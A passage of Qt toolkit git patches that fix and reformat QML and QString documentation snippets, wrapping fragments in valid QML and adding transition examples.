\qml Item { - SelfDestroyingRect { ... } + SelfDestroyingRect { + // ... + } } \endqml diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc index 2b82b2f..9f84ee6 100644 --- a/doc/src/declarative/example-slideswitch.qdoc +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -60,8 +60,16 @@ It can be used to activate/disactivate the switch or to query its current state. In this example: \qml -Switch { id: mySwitch; on: true } -Text { text: "The switch is on"; visible: mySwitch.on == true } +Item { + Switch { + id: mySwitch + on: true + } + Text { + text: "The switch is on" + visible: mySwitch.on == true + } +} \endqml the text will only be visible when the switch is on. diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc index a1f006b..b986d06 100644 --- a/doc/src/declarative/extending.qdoc +++ b/doc/src/declarative/extending.qdoc @@ -733,12 +733,14 @@ It is optional for a property to have a default value. The default value is a co behaviorally identical to doing it in two steps, like this: \qml -// Use default value -property int myProperty: 10 +Item { + // Use default value + property int myProperty: 10 -// Longer, but behaviorally identical -property int myProperty -myProperty: 10 + // Longer, but behaviorally identical + property int myProperty + myProperty: 10 +} \endqml @@ -769,9 +771,11 @@ QML object types can also be used as property types. This includes defined like this: \qml -property Item itemProperty -property QtObject objectProperty -property MyCustomType customProperty +Item { + property Item itemProperty + property QtObject objectProperty + property MyCustomType customProperty +} \endqml Such object-type properties default to an \c undefined value. @@ -784,7 +788,9 @@ see the \l {variant}{variant type documentation} for details. list: \qml -property list listOfItems +Item { + property list listOfItems +} \endqml Note that list properties cannot be modified like ordinary JavaScript @@ -1075,7 +1081,7 @@ code removes the connection created in \c application.qml above: \qml // application.qml Item { - ... + // ... function removeSignal() { button.clicked.disconnect(item.myMethod) @@ -1100,5 +1106,4 @@ MouseArea { Whenever the \l MouseArea \c clicked signal is emitted, the \c rect.buttonClicked signal will automatically be emitted as well. - */ diff --git a/doc/src/declarative/qdeclarativemodels.qdoc b/doc/src/declarative/qdeclarativemodels.qdoc index 45246e9..744b4bd 100644 --- a/doc/src/declarative/qdeclarativemodels.qdoc +++ b/doc/src/declarative/qdeclarativemodels.qdoc @@ -281,7 +281,7 @@ with models of type QAbstractItemModel: \endlist -\section2 Exposing C++ data models to QML +\section2 Exposing C++ Data Models to QML The above examples use QDeclarativeContext::setContextProperty() to set model values directly in QML components. An alternative to this is to @@ -313,7 +313,9 @@ MyModel { id: myModel ListElement { someProperty: "some value" } } +\endqml +\qml ListView { width: 200; height: 250 model: myModel diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc index 05dac52..364711d 100644 --- a/doc/src/declarative/qtdeclarative.qdoc +++ b/doc/src/declarative/qtdeclarative.qdoc @@ -103,7 +103,9 @@ \qml import com.mycompany.qmlcomponents 1.0 - Slider { ... } + Slider { + // ... + } \endqml Note that it's perfectly reasonable for a library to register types to older versions diff --git a/doc/src/snippets/declarative/script.js b/doc/src/snippets/declarative/script.js index cd67311..f55dee3 100644 --- a/doc/src/snippets/declarative/script.js +++ b/doc/src/snippets/declarative/script.js @@ -1 +1,4 @@ -# Just here so that workerscript.qml succeeds. +WorkerScript.onMessage = function(message) { + // ... long-running operations and calculations are done here + WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) +} diff --git a/doc/src/snippets/declarative/transition-from-to-modified.qml b/doc/src/snippets/declarative/transition-from-to-modified.qml new file mode 100644 index 0000000..1e2ebca --- /dev/null +++ b/doc/src/snippets/declarative/transition-from-to-modified.qml @@ -0,0 +1,60 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ +import QtQuick 1.0 + +Rectangle { + id: rect + width: 100; height: 100 + color: "red" + + MouseArea { id: mouseArea; anchors.fill: parent } + + states: State { + name: "brighter"; when: mouseArea.pressed + PropertyChanges { target: rect; color: "yellow" } + } + + //! [modified transition] + transitions: Transition { + to: "brighter" + ColorAnimation { duration: 1000 } + } + //! [modified transition] +} diff --git a/doc/src/snippets/declarative/transition-from-to.qml b/doc/src/snippets/declarative/transition-from-to.qml index 5fde653..ba07518 100644 --- a/doc/src/snippets/declarative/transition-from-to.qml +++ b/doc/src/snippets/declarative/transition-from-to.qml @@ -57,5 +57,3 @@ Rectangle { } } //![0] - - diff --git a/doc/src/snippets/declarative/transition-reversible.qml b/doc/src/snippets/declarative/transition-reversible.qml index c67fd80..6a6ef23 100644 --- a/doc/src/snippets/declarative/transition-reversible.qml +++ b/doc/src/snippets/declarative/transition-reversible.qml @@ -53,12 +53,14 @@ Rectangle { PropertyChanges { target: rect; color: "yellow"; x: 50 } } + //! [sequential animations] transitions: Transition { SequentialAnimation { PropertyAnimation { property: "x"; duration: 1000 } ColorAnimation { duration: 1000 } } } + //! [sequential animations] } //![0] diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml new file mode 100644 index 0000000..0467de2 --- /dev/null +++ b/doc/src/snippets/declarative/transitions-list.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import Qt 4.7 + +Rectangle { + width: 150; height: 250 + + Rectangle { + id: stopLight + x: 25; y: 15; width: 100; height: 100 + } + Rectangle { + id: goLight + x: 25; y: 135; width: 100; height: 100 + } + + states: [ + State { + name: "stop" + PropertyChanges { target: stopLight; color: "red" } + PropertyChanges { target: goLight; color: "black" } + }, + State { + name: "go" + PropertyChanges { target: stopLight; color: "black" } + PropertyChanges { target: goLight; color: "green" } + } + ] + + state: "stop" + + MouseArea { + anchors.fill: parent + onClicked: parent.state == "stop" ? + parent.state = "go" : parent.state = "stop" + } + + //! [list of transitions] + transitions: [ + Transition { + from: "stop"; to: "go" + PropertyAnimation { target: stopLight + properties: "color"; duration: 1000 } + }, + Transition { + from: "go"; to: "stop" + PropertyAnimation { target: goLight + properties: "color"; duration: 1000 } + } ] + //! [list of transitions] +} diff --git a/doc/src/snippets/qstring/main.cpp b/doc/src/snippets/qstring/main.cpp index 9aac79d..bbc9e98 100644 --- a/doc/src/snippets/qstring/main.cpp +++ b/doc/src/snippets/qstring/main.cpp @@ -126,22 +126,22 @@ Widget::Widget(QWidget *parent) void Widget::constCharPointer() { -//! [0] + //! [0] QString str = "Hello"; -//! [0] + //! [0] } void Widget::constCharArray() { -//! [1] + //! [1] static const QChar data[4] = { 0x0055, 0x006e, 0x10e3, 0x03a3 }; QString str(data, 4); -//! [1] + //! [1] } void Widget::characterReference() { -//! [2] + //! [2] QString str; str.resize(4); @@ -149,46 +149,46 @@ void Widget::characterReference() str[1] = QChar('n'); str[2] = QChar(0x10e3); str[3] = QChar(0x03a3); -//! [2] + //! [2] } void Widget::atFunction() { -//! [3] + //! [3] QString str; for (int i = 0; i < str.size(); ++i) { if (str.at(i) >= QChar('a') && str.at(i) <= QChar('f')) qDebug() << "Found character in range [a-f]"; } -//! [3] + //! [3] } void Widget::stringLiteral() { -//! [4] + //! [4] QString str; if (str == "auto" || str == "extern" || str == "static" || str == "register") { // ... } -//! [4] + //! [4] } void Widget::modify() { -//! [5] + //! [5] QString str = "and"; str.prepend("rock "); // str == "rock and" str.append(" roll"); // str == "rock and roll" str.replace(5, 3, "&"); // str == "rock & roll" -//! [5] + //! [5] } void Widget::index() { -//! [6] + //! [6] QString str = "We must be bold, very bold"; int j = 0; @@ -196,25 +196,25 @@ void Widget::index() qDebug() << "Found tag at index position" << j; ++j; } -//! [6] + //! [6] } //! [7] - QString Widget::boolToString(bool b) - { - QString result; - if (b) - result = "True"; - else - result = "False"; - return result; - } +QString Widget::boolToString(bool b) +{ + QString result; + if (b) + result = "True"; + else + result = "False"; + return result; +} //! [7] void Widget::nullVsEmpty() { -//! [8] + //! [8] QString().isNull(); // returns true QString().isEmpty(); // returns true @@ -223,45 +223,45 @@ void Widget::nullVsEmpty() QString("abc").isNull(); // returns false QString("abc").isEmpty(); // returns false -//! [8] + //! [8] } void Widget::appendFunction() { -//! [9] + //! [9] QString x = "free"; QString y = "dom"; x.append(y); // x == "freedom" -//! [9] + //! [9] -//! [10] + //! [10] x.insert(x.size(), y); -//! [10] + //! [10] } void Widget::argFunction() { -//! [11] + //! [11] QString i; // current file's number QString total; // number of files to process QString fileName; // current file's name QString status = QString("Processing file %1 of %2: %3") .arg(i).arg(total).arg(fileName); -//! [11] + //! [11] -//! [12] //! [13] + //! [12] //! [13] QString str; -//! [12] + //! [12] str = "%1 %2"; str.arg("%1f", "Hello"); // returns "%1f Hello" str.arg("%1f").arg("Hello"); // returns "Hellof %2" -//! [13] + //! [13] -//! [14] + //! [14] str = QString("Decimal 63 is %1 in hexadecimal") .arg(63, 0, 16); // str == "Decimal 63 is 3f in hexadecimal" @@ -272,16 +272,16 @@ void Widget::argFunction() .arg(12345) .arg(12345, 0, 16); // str == "12345 12,345 3039" -//! [14] + //! [14] } void Widget::chopFunction() { -//! [15] + //! [15] QString str("LOGOUT\r\n"); str.chop(2); // str == "LOGOUT" -//! [15] + //! [15] } void Widget::compareFunction() @@ -293,251 +293,251 @@ void Widget::compareFunction() void Widget::compareSensitiveFunction() { -//! [16] + //! [16] int x = QString::compare("aUtO", "AuTo", Qt::CaseInsensitive); // x == 0 int y = QString::compare("auto", "Car", Qt::CaseSensitive); // y > 0 int z = QString::compare("auto", "Car", Qt::CaseInsensitive); // z < 0 -//! [16] + //! [16] } void Widget::containsFunction() { -//! [17] + //! [17] QString str = "Peter Pan"; str.contains("peter", Qt::CaseInsensitive); // returns true -//! [17] + //! [17] } void Widget::countFunction() { -//! [18] + //! [18] QString str = "banana and panama"; str.count(QRegExp("a[nm]a")); // returns 4 -//! [18] + //! [18] } void Widget::dataFunction() { -//! [19] + //! [19] QString str = "Hello world"; QChar *data = str.data(); while (!data->isNull()) { qDebug() << data->unicode(); ++data; } -//! [19] + //! [19] } void Widget::endsWithFunction() { -//! [20] + //! [20] QString str = "Bananas"; str.endsWith("anas"); // returns true str.endsWith("pple"); // returns false -//! [20] + //! [20] } void Widget::fillFunction() { -//! [21] + //! [21] QString str = "Berlin"; str.fill('z'); // str == "zzzzzz" str.fill('A', 2); // str == "AA" -//! [21] + //! [21] } void Widget::fromRawDataFunction() { -//! [22] - QRegExp pattern; - static const QChar unicode[] = { - 0x005A, 0x007F, 0x00A4, 0x0060, - 0x1009, 0x0020, 0x0020}; - int size = sizeof(unicode) / sizeof(QChar); + //! [22] + QRegExp pattern; + static const QChar unicode[] = { + 0x005A, 0x007F, 0x00A4, 0x0060, + 0x1009, 0x0020, 0x0020}; + int size = sizeof(unicode) / sizeof(QChar); - QString str = QString::fromRawData(unicode, size); - if (str.contains(QRegExp(pattern))) { - // ... -//! [22] //! [23] - } -//! [23] + QString str = QString::fromRawData(unicode, size); + if (str.contains(QRegExp(pattern))) { + // ... + //! [22] //! [23] + } + //! [23] } void Widget::indexOfFunction() { -//! [24] + //! [24] QString x = "sticky question"; QString y = "sti"; x.indexOf(y); // returns 0 x.indexOf(y, 1); // returns 10 x.indexOf(y, 10); // returns 10 x.indexOf(y, 11); // returns -1 -//! [24] + //! [24] } void Widget::firstIndexOfFunction() { -//! [25] + //! [25] QString str = "the minimum"; str.indexOf(QRegExp("m[aeiou]"), 0); // returns 4 -//! [25] + //! [25] } void Widget::insertFunction() { -//! [26] + //! [26] QString str = "Meal"; str.insert(1, QString("ontr")); // str == "Montreal" -//! [26] + //! [26] } void Widget::isEmptyFunction() { -//! [27] + //! [27] QString().isEmpty(); // returns true QString("").isEmpty(); // returns true QString("x").isEmpty(); // returns false QString("abc").isEmpty(); // returns false -//! [27] + //! [27] } void Widget::isNullFunction() { -//! [28] + //! [28] QString().isNull(); // returns true QString("").isNull(); // returns false QString("abc").isNull(); // returns false -//! [28] + //! [28] } void Widget::lastIndexOfFunction() { -//! [29] + //! [29] QString x = "crazy azimuths"; QString y = "az"; x.lastIndexOf(y); // returns 6 x.lastIndexOf(y, 6); // returns 6 x.lastIndexOf(y, 5); // returns 2 x.lastIndexOf(y, 1); // returns -1 -//! [29] + //! [29] -//! [30] + //! [30] QString str = "the minimum"; str.lastIndexOf(QRegExp("m[aeiou]")); // returns 8 -//! [30] + //! [30] } void Widget::leftFunction() { -//! [31] + //! [31] QString x = "Pineapple"; QString y = x.left(4); // y == "Pine" -//! [31] + //! [31] } void Widget::leftJustifiedFunction() { -//! [32] + //! [32] QString s = "apple"; QString t = s.leftJustified(8, '.'); // t == "apple..." -//! [32] + //! [32] -//! [33] + //! [33] QString str = "Pineapple"; str = str.leftJustified(5, '.', true); // str == "Pinea" -//! [33] + //! [33] } void Widget::midFunction() { -//! [34] + //! [34] QString x = "Nine pineapples"; QString y = x.mid(5, 4); // y == "pine" QString z = x.mid(5); // z == "pineapples" -//! [34] + //! [34] } void Widget::numberFunction() { -//! [35] + //! [35] long a = 63; QString s = QString::number(a, 16); // s == "3f" QString t = QString::number(a, 16).toUpper(); // t == "3F" -//! [35] + //! [35] } void Widget::prependFunction() { -//! [36] + //! [36] QString x = "ship"; QString y = "air"; x.prepend(y); // x == "airship" -//! [36] + //! [36] } void Widget::removeFunction() { -//! [37] + //! [37] QString s = "Montreal"; s.remove(1, 4); // s == "Meal" -//! [37] + //! [37] -//! [38] + //! [38] QString t = "Ali Baba"; t.remove(QChar('a'), Qt::CaseInsensitive); // t == "li Bb" -//! [38] + //! [38] -//! [39] + //! [39] QString r = "Telephone"; r.remove(QRegExp("[aeiou].")); // r == "The" -//! [39] + //! [39] } void Widget::replaceFunction() { -//! [40] + //! [40] QString x = "Say yes!"; QString y = "no"; x.replace(4, 3, y); // x == "Say no!" -//! [40] + //! [40] -//! [41] + //! [41] QString str = "colour behaviour flavour neighbour"; str.replace(QString("ou"), QString("o")); // str == "color behavior flavor neighbor" -//! [41] + //! [41] -//! [42] + //! [42] QString s = "Banana"; s.replace(QRegExp("a[mn]"), "ox"); // s == "Boxoxa" -//! [42] + //! [42] -//! [43] + //! [43] QString t = "A bon mot."; t.replace(QRegExp("([^<]*)"), "\\emph{\\1}"); // t == "A \\emph{bon mot}." -//! [43] + //! [43] -//! [86] + //! [86] QString equis = "xxxxxx"; equis.replace("xx", "x"); // equis == "xxx" -//! [86] + //! [86] } void Widget::reserveFunction() { -//! [44] + //! [44] QString result; int maxSize; bool condition; @@ -549,59 +549,59 @@ void Widget::reserveFunction() result.append(nextChar); result.squeeze(); -//! [44] + //! [44] } void Widget::resizeFunction() { -//! [45] + //! [45] QString s = "Hello world"; s.resize(5); // s == "Hello" s.resize(8); // s == "Hello???" (where ? stands for any character) -//! [45] + //! [45] -//! [46] + //! [46] QString t = "Hello"; t += QString(10, 'X'); // t == "HelloXXXXXXXXXX" -//! [46] + //! [46] -//! [47] + //! [47] QString r = "Hello"; r = r.leftJustified(10, ' '); // r == "Hello " -//! [47] + //! [47] } void Widget::rightFunction() { -//! [48] + //! [48] QString x = "Pineapple"; QString y = x.right(5); // y == "apple" -//! [48] + //! [48] } void Widget::rightJustifiedFunction() { -//! [49] + //! [49] QString s = "apple"; QString t = s.rightJustified(8, '.'); // t == "...apple" -//! [49] + //! [49] -//! [50] + //! [50] QString str = "Pineapple"; str = str.rightJustified(5, '.', true); // str == "Pinea" -//! [50] + //! [50] } void Widget::sectionFunction() { -//! [51] //! [52] + //! [51] //! [52] QString str; -//! [51] + //! [51] QString csv = "forename,middlename,surname,phone"; QString path = "/usr/local/bin/myapp"; // First field is empty QString::SectionFlag flag = QString::SectionSkipEmpty; @@ -610,83 +610,83 @@ void Widget::sectionFunction() str = csv.section(',', 2, 2); // str == "surname" str = path.section('/', 3, 4); // str == "bin/myapp" str = path.section('/', 3, 3, flag); // str == "myapp" -//! [52] + //! [52] -//! [53] + //! [53] str = csv.section(',', -3, -2); // str == "middlename,surname" str = path.section('/', -1); // str == "myapp" -//! [53] + //! [53] -//! [54] + //! [54] QString data = "forename**middlename**surname**phone"; str = data.section("**", 2, 2); // str == "surname" str = data.section("**", -3, -2); // str == "middlename**surname" -//! [54] + //! [54] -//! [55] + //! [55] QString line = "forename\tmiddlename surname \t \t phone"; QRegExp sep("\\s+"); str = line.section(sep, 2, 2); // s == "surname" str = line.section(sep, -3, -2); // s == "middlename surname" -//! [55] + //! [55] } void Widget::setNumFunction() { -//! [56] + //! [56] QString str; str.setNum(1234); // str == "1234" -//! [56] + //! [56] } void Widget::simplifiedFunction() { -//! [57] + //! [57] QString str = " lots\t of\nwhitespace\r\n "; str = str.simplified(); // str == "lots of whitespace"; -//! [57] + //! [57] } void Widget::sizeFunction() { -//! [58] + //! [58] QString str = "World"; int n = str.size(); // n == 5 str.data()[0]; // returns 'W' str.data()[4]; // returns 'd' str.data()[5]; // returns '\0' -//! [58] + //! [58] } void Widget::splitFunction() { -//! [59] + //! [59] QString str; QStringList list; str = "Some text\n\twith strange whitespace."; list = str.split(QRegExp("\\s+")); // list: [ "Some", "text", "with", "strange", "whitespace." ] -//! [59] + //! [59] -//! [60] + //! [60] str = "This time, a normal English sentence."; list = str.split(QRegExp("\\W+"), QString::SkipEmptyParts); // list: [ "This", "time", "a", "normal", "English", "sentence" ] -//! [60] + //! [60] -//! [61] + //! [61] str = "Now: this sentence fragment."; list = str.split(QRegExp("\\b")); // list: [ "", "Now", ": ", "this", " ", "sentence", " ", "fragment", "." ] -//! [61] + //! [61] } void Widget::splitCaseSensitiveFunction() { -//! [62] + //! [62] QString str = "a,,b,c"; QStringList list1 = str.split(","); @@ -694,241 +694,241 @@ void Widget::splitCaseSensitiveFunction() QStringList list2 = str.split(",", QString::SkipEmptyParts); // list2: [ "a", "b", "c" ] -//! [62] + //! [62] } void Widget::sprintfFunction() { -//! [63] + //! [63] size_t BufSize; char buf[BufSize]; ::snprintf(buf, BufSize, "%lld", 123456789LL); QString str = QString::fromAscii(buf); -//! [63] + //! [63] -//! [64] + //! [64] QString result; QTextStream(&result) << "pi = " << 3.14; // result == "pi = 3.14" -//! [64] + //! [64] } void Widget::startsWithFunction() { -//! [65] + //! [65] QString str = "Bananas"; str.startsWith("Ban"); // returns true str.startsWith("Car"); // returns false -//! [65] + //! [65] } void Widget::toDoubleFunction() { -//! [66] + //! [66] QString str = "1234.56"; double val = str.toDouble(); // val == 1234.56 -//! [66] + //! [66] -//! [67] + //! [67] bool ok; double d; d = QString( "1234.56e-02" ).toDouble(&ok); // ok == true, d == 12.3456 -//! [67] + //! [67] -//! [68] //! [69] + //! [68] //! [69] QLocale::setDefault(QLocale::C); d = QString( "1234,56" ).toDouble(&ok); // ok == false -//! [68] + //! [68] d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [69] //! [70] + //! [69] //! [70] QLocale::setDefault(QLocale::German); d = QString( "1234,56" ).toDouble(&ok); // ok == true, d == 1234.56 d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [70] + //! [70] QLocale::setDefault(QLocale::C); d = QString( "1,234,567.89" ).toDouble(&ok); // ok == false } void Widget::toFloatFunction() { -//! [71] + //! [71] QString str1 = "1234.56"; str1.toFloat(); // returns 1234.56 bool ok; QString str2 = "R2D2"; str2.toFloat(&ok); // returns 0.0, sets ok to false -//! [71] + //! [71] } void Widget::toIntFunction() { -//! [72] + //! [72] QString str = "FF"; bool ok; int hex = str.toInt(&ok, 16); // hex == 255, ok == true int dec = str.toInt(&ok, 10); // dec == 0, ok == false -//! [72] + //! [72] } void Widget::toLongFunction() { -//! [73] + //! [73] QString str = "FF"; bool ok; long hex = str.toLong(&ok, 16); // hex == 255, ok == true long dec = str.toLong(&ok, 10); // dec == 0, ok == false -//! [73] + //! [73] } void Widget::toLongLongFunction() { -//! [74] + //! [74] QString str = "FF"; bool ok; qint64 hex = str.toLongLong(&ok, 16); // hex == 255, ok == true qint64 dec = str.toLongLong(&ok, 10); // dec == 0, ok == false -//! [74] + //! [74] } void Widget::toLowerFunction() { -//! [75] + //! [75] QString str = "Qt by NOKIA"; str = str.toLower(); // str == "qt by nokia" -//! [75] + //! [75] } void Widget::toShortFunction() { -//! [76] + //! [76] QString str = "FF"; bool ok; short hex = str.toShort(&ok, 16); // hex == 255, ok == true short dec = str.toShort(&ok, 10); // dec == 0, ok == false -//! [76] + //! [76] } void Widget::toUIntFunction() { -//! [77] + //! [77] QString str = "FF"; bool ok; uint hex = str.toUInt(&ok, 16); // hex == 255, ok == true uint dec = str.toUInt(&ok, 10); // dec == 0, ok == false -//! [77] + //! [77] } void Widget::toULongFunction() { -//! [78] + //! [78] QString str = "FF"; bool ok; ulong hex = str.toULong(&ok, 16); // hex == 255, ok == true ulong dec = str.toULong(&ok, 10); // dec == 0, ok == false -//! [78] + //! [78] } void Widget::toULongLongFunction() { -//! [79] + //! [79] QString str = "FF"; bool ok; quint64 hex = str.toULongLong(&ok, 16); // hex == 255, ok == true quint64 dec = str.toULongLong(&ok, 10); // dec == 0, ok == false -//! [79] + //! [79] } void Widget::toUShortFunction() { -//! [80] + //! [80] QString str = "FF"; bool ok; ushort hex = str.toUShort(&ok, 16); // hex == 255, ok == true ushort dec = str.toUShort(&ok, 10); // dec == 0, ok == false -//! [80] + //! [80] } void Widget::toUpperFunction() { -//! [81] + //! [81] QString str = "TeXt"; str = str.toUpper(); // str == "TEXT" -//! [81] + //! [81] } void Widget::trimmedFunction() { -//! [82] + //! [82] QString str = " lots\t of\nwhitespace\r\n "; str = str.trimmed(); // str == "lots\t of\nwhitespace" -//! [82] + //! [82] } void Widget::truncateFunction() { -//! [83] + //! [83] QString str = "Vladivostok"; str.truncate(4); // str == "Vlad" -//! [83] + //! [83] } void Widget::plusEqualOperator() { -//! [84] + //! [84] QString x = "free"; QString y = "dom"; x += y; // x == "freedom" -//! [84] + //! [84] } void Widget::arrayOperator() { -//! [85] + //! [85] QString str; if (str[0] == QChar('?')) str[0] = QChar('_'); -//! [85] + //! [85] } void Widget::midRefFunction() { -//! [midRef] + //! [midRef] QString x = "Nine pineapples"; QStringRef y = x.midRef(5, 4); // y == "pine" QStringRef z = x.midRef(5); // z == "pineapples" -//! [midRef] + //! [midRef] } void Widget::leftRefFunction() { -//! [leftRef] + //! [leftRef] QString x = "Pineapple"; QStringRef y = x.leftRef(4); // y == "Pine" -//! [leftRef] + //! [leftRef] } void Widget::rightRefFunction() { -//! [rightRef] + //! [rightRef] QString x = "Pineapple"; QStringRef y = x.rightRef(5); // y == "apple" -//! [rightRef] + //! [rightRef] } -- cgit v0.12 From 006929de7f84430278e370eaa468a93fa3a1fb96 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 20:16:50 +0100 Subject: Doc: Fixed invalid/incomplete QML code snippets. --- .../declarative/toys/dynamicscene/dynamicscene.qml | 3 +- .../graphicsitems/qdeclarativeborderimage.cpp | 17 +++++--- .../graphicsitems/qdeclarativepathview.cpp | 2 +- .../graphicsitems/qdeclarativetextedit.cpp | 10 +++-- src/declarative/qml/qdeclarativedom.cpp | 8 ++-- src/declarative/qml/qdeclarativeengine.cpp | 18 +++++++-- src/declarative/qml/qdeclarativeworkerscript.cpp | 7 +--- src/declarative/util/qdeclarativeanimation.cpp | 45 +++++++++------------- src/declarative/util/qdeclarativestate.cpp | 19 +++++---- src/declarative/util/qdeclarativetransition.cpp | 34 ++-------------- src/imports/gestures/qdeclarativegesturearea.cpp | 18 ++++----- 11 files changed, 82 insertions(+), 99 deletions(-) diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.qml b/examples/declarative/toys/dynamicscene/dynamicscene.qml index cfc4b74..a436b41 100644 --- a/examples/declarative/toys/dynamicscene/dynamicscene.qml +++ b/examples/declarative/toys/dynamicscene/dynamicscene.qml @@ -215,9 +215,10 @@ Item { PropertyChanges { target: stars; opacity: 0 } } + //! [top-level transitions] transitions: Transition { PropertyAnimation { duration: 3000 } ColorAnimation { duration: 3000 } } - + //! [top-level transitions] } diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 16fb376..a851864 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -215,11 +215,13 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage() image \c picture.png: \qml - border.left: 10 - border.top: 10 - border.bottom: 10 - border.right: 10 - source: picture.png + BorderImage { + border.left: 10 + border.top: 10 + border.bottom: 10 + border.right: 10 + source: "picture.png" + } \endqml The URL may be absolute, or relative to the URL of the component. @@ -337,7 +339,10 @@ void QDeclarativeBorderImage::load() the bottom of the image: \qml - border.bottom: 10 + BorderImage { + border.bottom: 10 + // ... + } \endqml The border lines can also be specified using a diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index 64656af..ee73880 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -444,7 +444,7 @@ QDeclarativePathView::~QDeclarativePathView() Component { Rectangle { visible: PathView.onPath - ... + // ... } } \endqml diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 675f8d9..d326ff7 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -350,11 +350,13 @@ void QDeclarativeTextEdit::setFont(const QFont &font) The text color. \qml -// green text using hexadecimal notation -TextEdit { color: "#00FF00"; ... } + // green text using hexadecimal notation + TextEdit { color: "#00FF00" } + \endqml -// steelblue text using SVG color name -TextEdit { color: "steelblue"; ... } + \qml + // steelblue text using SVG color name + TextEdit { color: "steelblue" } \endqml */ QColor QDeclarativeTextEdit::color() const diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index 89aa79a..f1296aa 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -334,10 +334,10 @@ QList QDeclarativeDomProperty::propertyNameParts() const Return true if this property is used as a default property in the QML document. - \qml + \code hello - \endqml + \endcode The above two examples return the same DOM 